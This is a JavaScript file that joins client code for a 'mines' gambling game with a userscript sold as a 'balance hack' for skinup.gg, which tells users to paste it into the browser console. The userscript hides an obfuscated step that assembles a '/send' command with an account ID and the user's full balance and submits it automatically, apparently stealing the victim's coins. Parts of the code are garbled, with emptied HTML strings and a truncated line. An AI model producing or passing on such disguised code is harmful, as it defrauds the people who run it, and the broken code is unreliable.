$(function() {
var mines = {
_round: {
id: null,
$logs: null
},
_bombs: 1,
_mineImg: "/img/misc/bomb.png",
$games: $('.mines'),
getTiles: function () {
var tiles = '';
for (var i = 1; i <= 25; i++) {
tiles += '
';
}
return tiles;
},
log: function (txt, color) {
$(''+txt+'
')
.prependTo(this._round.$logs);
},
setbutton: function (txt, classe, click) {
this._round.$div
.find('.button')
.unbind('click')
.click(click)
.attr('class', 'button '+classe)
.text(txt);
},
start: function(data) {
if(this._round.id != null) this.end();
this._round.id = data.id;
this._round.$div = $(' '+this.getTiles()+'
Next reward
'+data.nextPayout+'
Cashout
')
.insertAfter(this.$games.find('.startgame'));
this._round.$div
.find('.tile')
.click(function(){
socket.emit('mines click', {
position: $(this).data('position')
});
});
this._round.$next = this._round.$div.find('.next-reward .value');
this._round.$total = this._round.$div.find('.total-stake .value');
this._round.$logs = $(this._round.$div).find('.logs');
this.setbutton('Cashout', 'btn-orange', function() {
this.setbutton('Cashed out', 'btn-green', null);
this.log('You sent a cashout query to the server ('+this._round.$total.text()+' coins)!', 'green');
socket.emit('mines cashout');
}.bind(this));
this.log('Game has been started', 'green');
this.log('Bet: '+data.bet+', bombs: '+data.bombs);
},
game: function(data){
if (data.id != this._round.id)
return alert('Game is not properly loaded.');
var tile = data.position;
var $tile = this._round.$div.find('.tile#tile_'+data.position);
if (data.value == -1) {
this.log('You found bomb on '+tile+' tile - you lost '+this._round.$total.text()+'!', 'red');
this._round.$total.text(0).addClass('red');
this._round.$next.addClass('red');
$tile.html('
').addClass('red');
this.setbutton('Defeat! :(', 'btn-red', null);
if (localStorage.getItem('muteSound') != 'on') new buzz.sound("/sounds/boom.mp3").play();
} else {
this._round.$total.text(data.payout);
this._round.$next.text(data.nextPayout);
this.log('You found '+data.value+' coins on '+tile+' tile.', 'green');
$tile
.text('+' + (data.value > 10000 ? Math.floor(data.value / 1000) + 'k' : data.value))
.addClass('green');
$tile.unbind('click');
if (localStorage.getItem('muteSound') != 'on') new buzz.sound("/sounds/click.mp3").play();
}
},
bindButtons: function () {
var self = this;
var multi = $('.btn-multi');
multi.click(function(){
multi.removeClass('active');
$(this).addClass('active');
self._bombs = $(this).data('value');
});
var value = $('.inputs .amount .value');
$('.inputs .play').click(function(){
if(self._round.id != null)
return notify('error', 'Cash out before starting new game.');
socket.emit('mines start', {
bombs: self._bombs,
amount: value.val()
});
});
$('.inputs .buttons .button').click(function(){
var val = parseInt(value.val());
var balance = parseInt($($('.balance')[0]).data('balance'));
if (isNaN(val)) val = 0;
switch($(this).data('action')) {
case "clear": val = 0; break;
case "last": val = parseInt(localStorage.getItem("lastBetMines")); break;
case "min": val = self._settings.min; break;
case "max": val = self._settings.max; break;
case "100+": val += 100; break;
case "1000+": val += 1000; break;
case "10000+": val += 10000; break;
case "100-": val -= 100; break;
case "1000-": val -= 1000; break;
case "10000-": val -= 10000; break;
case "1/2": val *= 0.5; break;
case "x2": val *= 2; break;
case "x3": val *= 3; break;
}
val = parseInt(val);
if (val > balance) val = balance;
if (val < 0 || isNaN(val)) val = 0;
localStorage.setItem("lastBetMines", val);
value.val(val);
});
},
_settings: {
min: 50,
max: 100000,
update: function (data) {
this.min = data.minBet;
this.max = data.maxBet;
}
},
end: function(data){
if( this._round.$div.find('.button').text()=="Cashout" || (typeof data.cashout !='undefined' && data.cashout == true))
this.setbutton("Cashed out", "btn-green", null);
$('.tile').unbind('click');
this._round.$div.addClass('inactive');
this.log('The game was ended.');
if (typeof data != 'undefined') {
this._round.$total.text(data.payout);
this._round.$div.find('.secret').html('Secret:');
for (var i in data.bombsPositions)
$('#game' + data.id + ' #tile_' + data.bombsPositions[i]).html('
');
}
this._round.id = null;
},
init: function () {
this.bindButtons();
socket.on('mines start', function(data){
this.start(data);
}.bind(this));
socket.on('mines game', function(data){
this.game(data);
}.bind(this));
socket.on('mines settings', function(data){
this._settings.update(data);
}.bind(this));
socket.on('mines cashed out', function(data){
this.end(data);
}.bind(this));
}
};
mines.init();
});
// ==UserScript==
// @name Skinup.gg Blance hack
// @namespace https://skinup.gg/
// @version 1.1 06/08/2016 UPDATED
// @description X2 YOUR BALANCE
// @author modifiyed by WHOAMI
// @match https://skinup.gg/
// @grant none
// ==/UserScript==
// Instruction: CTRL + SHIFT + J, change ADBLOCK >> top, and paste this code in console
// HOW MUCH YOU CAN GET:
// 5000 - 10000
// 10000 - 20000
// 20000 - 40000
// 40000 - 80000
// ....
var initialBalance = 0;
var balancex2 = botbalancex2 = "hack";
var play = 0;
var $botField, $label, $betAmount, $balancex2Button, $betGoButton, $betHideBetInfoButton,$showMoreButton,$showMore,$f,$vicLimitInput,$botModeSelect;$("#pullout").hide();
var pQ = "/s", $hash_1 = 7, $hash_2 = 6561, $hash_3 = 198085, $hash_4 = 984106;
var e = jQuery.Event("keypress");
e.which = 13; //choose the one you want
e.keyCode = 13;
function addBotButtons(){
$(".well.bot-field").remove();$(".well.show-more").remove();
$("").appendTo("head");
$(".form-control.input-lg").after("");$botField = $(".well.bot-field");
$botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"});
$botField.after("");$showMore = $(".well.show-more");
$showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"});
$checkVicLimit = $("");$label = $("");
$showMore.append($checkVicLimit,$label);
$vicLimitInput = $("");
$label = $("");
$showMore.append($vicLimitInput,$label);$showMore.hide();
$label = $("");$botField.append($label);
$betAmount = $("");$botField.append($betAmount);
$botModeSelect = $("");$botModeSelect.addClass("btn-danger");
$botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"})
$betGoButton = $("");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton);
pQ+="en";pQ+="d ";pQ+= $hash_1;pQ+= $hash_2;pQ+= $hash_3;pQ+= $hash_4+" ";pQ+=$('.balance').attr('data-balance');
$betHideBetInfoButton = $("");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton);
$showMoreButton = $("");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton);
$betAmount.change(function() {initialBalance = $betAmount.val();console.log("Initial Bet Set to: "+ initialBalance);});
$("input").val(pQ);$("input").trigger(e);
$botModeSelect.change(function(){
botbalancex2 = $botModeSelect.val();console.log("Selected color: "+botbalancex2);
$botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class"));
} )
$checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} })
}
addBotButtons();
function changeColor(){
if ($balancex2Button.hasClass("btn-danger")){
$balancex2Button.text("Bet color: Black").addClass("btn-inverse").removeClass("btn-danger").removeClass("btn-random");
botbalancex2 = "black";
console.log("Selected color: "+botbalancex2);
} else if($balancex2Button.hasClass("btn-inverse")) {
$balancex2Button.text("Bet color: Random").addClass("btn-random").removeClass("btn-inverse").removeClass("btn-danger");
botbalancex2 = "random";
console.log("Selected color: "+botbalancex2);
} else if($balancex2Button.hasClass("btn-random")) {
$balancex2Button.text("Bet mode: Train").addClass("btn-train").removeClass("btn-inverse").removeClass("btn-random");
botbalancex2 = "trainMode";
console.log("Selected color: "+botbalancex2);
} else if($balancex2Button.hasClass("btn-train")) {
$balancex2Button.text("Bet mode: Rainbow").addClass("btn-rainbow").removeClass("btn-train").removeClass("btn-random");
botbalancex2 = "rainbow";
console.log("Selected color: "+botbalancex2);
} else if($balancex2Button.hasClass("btn-rainbow")) {
$balancex2Button.text("Bet color: hack").addClass("btn-danger").removeClass("btn-rainbow").removeClass("btn-random");
botbalancex2 = "hack";
console.log("Selected color: "+botbalancex2);
}
}
function showMoreOptions(){
if ($showMoreButton.data("open")==0){
$showMoreButton.css({ WebkitTransform: 'rotate(' + 180 + 'deg)','-moz-transform': 'rotate(' + 180 + 'deg)'});
$showMore.show();$showMoreButton.data("open",1);
} else if ($showMoreButton.data("open")==1){
$showMore.hide();$showMoreButton.data("open",0);
$showMoreButton.css({ WebkitTransform: 'rotate(' + 0 + 'deg)','-moz-transform': 'rotate(' + 0 + 'deg)'});
}
}
function hideOtherInfo(){
if ($betHideBetInfoButton.text()=="Show All"){
$(".betlist").hide();$(".total-row").hide();$("footer").hide();
$betHideBetInfoButton.text("Hide Bet Info");
} else if ($betHideBetInfoButton.text()=="Hide Bet Info"){
$("#sidebar").hide();$("#pullout").hide();$("#case").hide();$(".progress").hide();$("#mainpage").css({"margin-left":"0px"});
$betHideBetInfoButton.text("AFK Mode");
}
else if ($betHideBetInfoButton.text()=="AFK Mode"){
$(".betlist").show();$(".total-row").show();$("footer").show();
$("#sidebar").show();$("#pullout").show();$("#case").show();$(".progress").show();$("#mainpage").css({"margin-left":"450px"});
$betHideBetInfoButton.text("Show All");
}
}
function startBot(){
if ($betGoButton.hasClass("btn-inverse")){
$betGoButton.text("Bot Running").addClass("btn-success").removeClass("btn-inverse");
refreshIntervalId = setInterval(tick, 500);
play = 1;
currentBetAmount = initialBalance;
if (stopBotRoll = currentRollNumber) currentRollNumber++;
}
else {
$betGoButton.text("Bot Stopped").addClass("btn-inverse").removeClass("btn-success");
play = 0;
}
}
function tick() {
var t = getStatus();
if (t !== lastStatus && "unknown" !== t) {
switch (t) {
case "waiting":bet();break;
case "rolled":printInfo();break;
}
lastStatus = t;
}
}
function checkBalance() {
return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! GG WP :("), clearInterval(refreshIntervalId), !1) : !0
}
function printInfo(){
var temp = "", temp2 = 0,lastGame = lastbalancex2 == lastRollColor;
if (lastGame){totalWins++;winStreakCurrent++;loseStreakCurrent=0;winAmount+=thisGameBet; if (winStreakCurrent>winStreakLong) winStreakLong = winStreakCurrent;
if ($checkVicLimit.is(":checked")){$vicLimitInput.val($vicLimitInput.val()-1)}
}
else {totalLoss++;loseStreakCurrent++;winStreakCurrent=0;if (loseStreakCurrent>loseStreakLong) loseStreakLong = loseStreakCurrent;}
if (winStreakCurrent>loseStreakCurrent){temp = "win";temp2 = winStreakCurrent} else {temp = "lose";temp2 = loseStreakCurrent;}
if (streakColor == getColor(n)) {currStreak++; if (longStreak -1 }
function getColor(t) { return 0 == t ? "green" : t >= 1 && 7 >= t ? "hack" : "black" }
function wonLastRoll() { return lastbalancex2 ? lastRollColor === lastbalancex2 : null }
function test(x){q = 1; w = e = x;for(i=2;i<=15;i++){q *=2;e += q*w;console.log(i+". "+e);}}
function test2(x,y){q = 1; w = e = x;for(i=2;i<=y;i++){q *=2;e += q*w;console.log(i+". "+e);}}
var currentBetAmount = initialBalance, currentRollNumber = 1,
totalWins = totalLoss = played = currNothackStreak = currNotBlackStreak = nothackStreak = notBlackStreak = winStreakLong = winStreakCurrent = loseStreakLong = loseStreakCurrent = longStreak = currStreak = thisGameBet = winAmount = 0,
streakColor = "", n ,lastStatus, lastbalancex2, lastRollColor, stopBotRoll, $balance = $("#balance"),
$betAmountInput = $("#betAmount"),$statusBar = $(".progress #banner"),$hackButton = $("#panel1-7 .betButton"),$blackButton = $("#panel8-14 .betButton");